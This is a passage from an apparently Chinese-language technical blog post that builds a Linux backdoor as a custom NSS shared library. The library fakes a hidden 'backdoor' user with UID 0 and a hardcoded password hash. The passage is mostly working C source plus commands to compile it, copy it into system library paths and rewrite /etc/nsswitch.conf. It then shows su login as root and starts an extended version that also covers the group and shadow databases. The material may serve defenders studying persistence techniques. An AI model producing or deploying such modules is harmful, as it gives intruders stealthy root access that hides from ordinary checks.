leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ getpwnam(&#34;backdoor&#34;)</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       └─ NSS 读取 nsswitch.conf: passwd: files nop</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            ├─ 1. 查 files → 读取 /etc/passwd → 没有叫 backdoor 的用户</span><span leaf=""><br/></span><span leaf="">            │     返回 NSS_STATUS_NOTFOUND</span><span leaf=""><br/></span><span leaf="">            │     默认动作：continue → 继续查下一个数据源</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            └─ 2. 查 nop → 调用 _nss_nop_getpwnam_r(&#34;backdoor&#34;, ...)</span><span leaf=""><br/></span><span leaf="">                  名字匹配 → 返回 UID=0 的伪造条目</span><span leaf=""><br/></span><span leaf="">                  返回 NSS_STATUS_SUCCESS</span><span leaf=""><br/></span><span leaf="">                  默认动作：return → 结束查询</span><span leaf=""><br/></span><span leaf="">最终结果：id backdoor 输出 uid=0(root) gid=0(root)</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">而查询正常用户时完全不受影响：</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">id root</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ getpwnam(&#34;root&#34;)</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       └─ NSS: passwd: files nop</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            ├─ 1. 查 files → 读取 /etc/passwd → 找到 root</span><span leaf=""><br/></span><span leaf="">            │     返回 NSS_STATUS_SUCCESS</span><span leaf=""><br/></span><span leaf="">            │     默认动作：return → 结束查询</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            └─ 2. nop 模块不会被调用</span><span leaf=""><br/></span><span leaf="">最终结果：id root 正常输出，不受任何影响</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">部署步骤</span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 1. 编译</span></span><span leaf=""><br/></span><span leaf="">gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 2. 部署到系统库目录</span></span><span leaf=""><br/></span><span leaf="">cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 3. 修改 nsswitch.conf</span></span><span leaf=""><br/></span><span leaf="">sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^passwd:.*/passwd: files nop/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4. 无需重启任何进程，立即生效（原因见 3.4 节）</span></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">验证</span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">id backdoor</span><span leaf=""><br/></span><span leaf="">su - backdoor</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.09074074074074075" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019420" src="https://wechat2rss.xlab.app/img-proxy/?k=44a4a93c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6Yh4yKEWDQPFiaI81NeKibQC4MkuGwqnGRBNuMNn8YEwKapqgQJCZ0Hst5L6O7qIWDrxPA0yr0x2MV96iatTXxlo85Z58icObf63g0E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8722222222222222" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019422" src="https://wechat2rss.xlab.app/img-proxy/?k=c762b098&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YiaS3Zv9XvOAwwIcwppuAjnVGrouwop6WD6RPgHnpO4p3YLxqYMYB8pysjCTydibk0Kl0TicCDXCzN1oPRGbQ8fDlqiaibYDwyZnYtc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">测试发现，实施后，确实可以瞒过 id 命令，但是想直接 su 登录时，还是需要输入密码，但它并没有密码，所以是不是可以考虑直接在拼接数据时，将第二个字段中填充密码，就相当于在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 的第二个字段中添加密码。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们进行一下尝试</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pw_passwd</span></code><span leaf=""> 字段为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">&#34;x&#34;</span></code><span leaf=""> 时，PAM 会去查 shadow 数据库。但如果我们直接在这个字段中填入密码哈希，PAM 也可以直接用它来认证。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">先生成一个密码哈希：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">openssl passwd -6 -salt saltsalt yourpassword</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># $6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">修改模块代码，将 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pw_passwd</span></code><span leaf=""> 从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">&#34;x&#34;</span></code><span leaf=""> 改为实际的密码哈希。为避免重启进程（3.4 节提到已加载的 .so 不会自动重新加载），我们新建一个不同名字的模块 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_nop2.so.2</span></code><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;pwd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_USER </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor2&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_HASH </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0&#34;</span></span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop2_getpwnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                      struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">512</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_name = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_passwd = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_HASH) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_uid = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gid = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gecos = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_dir = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/root&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_shell = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">编译、部署并切换数据源：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 编译新模块</span></span><span leaf=""><br/></span><span leaf="">gcc -shared -fPIC -o libnss_nop2.so.2 nss_nop2.c</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 部署</span></span><span leaf=""><br/></span><span leaf="">cp libnss_nop2.so.2 /usr/lib/x86_64-linux-gnu/</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 将 nsswitch.conf 中的 nop 替换为 nop2</span></span><span leaf=""><br/></span><span leaf="">sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^passwd:.*/passwd: files nop2/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">测试：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">id backdoor2</span><span leaf=""><br/></span><span leaf="">su - backdoor2</span><span leaf=""><br/></span><span leaf="">密码：yourpassword</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">通过在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pw_passwd</span></code><span leaf=""> 中直接填入密码哈希，绕过了 shadow 数据库的依赖，仅用一个 passwd 模块就完成了用户伪造和认证。</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7805555555555556" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019427" src="https://wechat2rss.xlab.app/img-proxy/?k=fbee70c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YjicOq6LOnkZyT7Piciboxr95pdzKBInpGGJUrKYhDZviahEicuuEePjOusSfgXvvI7azMWlQMWd98vCnL2aNWqalRCSuErFAWnvlsk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">不过这种方式有一个前提：系统的 PAM 配置必须允许从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pw_passwd</span></code><span leaf=""> 字段读取密码。大多数发行版默认支持，但某些高安全配置可能会强制要求 shadow。对于更通用的方案，仍然建议同时部署 shadow 模块（见 4.2 节）。</span></p></blockquote><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">这个后门的问题</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个模块虽然能用，但存在明显的缺陷：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwent_r</span></code><span leaf=""> 未实现</span></strong><span leaf="">：只实现了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam_r</span></code><span leaf="">，没有实现 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwent_r</span></code><span leaf="">。某些遍历所有用户的命令可能不会触发后门</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">只覆盖 passwd 数据库</span></strong><span leaf="">：没有覆盖 group、shadow 等，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">id backdoor</span></code><span leaf=""> 可能无法显示完整的组信息</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">无法 SSH 登录</span></strong><span leaf="">：SSH 登录需要 PAM 认证，PAM 会查询 shadow 数据库，而我们的模块没有处理 shadow</span></p></li></ol><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1962962962962963" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019425" src="https://wechat2rss.xlab.app/img-proxy/?k=4c3d8b9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6Yjh6tbgt1yQZ2WdGwSYzia9wmyrdsbAI38Fia0CticUFASBlmic2htEgtgbtiaaZoz9Zea2SsmHgDL41AdQX7qssp1jRFAW9O8P9Niak%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.175" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019424" src="https://wechat2rss.xlab.app/img-proxy/?k=f2b343c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YjUYHGu6dEg1HvnEmFlzgLicUhQuUeh7w67wxqgIlvuW2vOhGXpCvECKd9QmTUzjeWZ42iaqDUlB0GsnPLaVPJNO7ibXbZDYpQImo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这些问题将在后续逐步解决。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4.2 后门模块：覆盖更多数据库</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">要让后门用户能够真正&#34;像正常用户一样&#34;使用，需要覆盖 passwd、group、shadow 三个数据库。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">passwd 模块（增强版）</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">增加 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwuid_r</span></code><span leaf="">（按 UID 查找）和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwent_r</span></code><span leaf="">（遍历所有用户）的实现：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;pwd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_USER </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_UID  0</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_GID  0</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">fill_backdoor_passwd</span></span><span style="line-height: 26px;"><span leaf="">(struct passwd *result, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_name = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_passwd = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_uid = BACKDOOR_UID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gid = BACKDOOR_GID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gecos = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_dir = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/root&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    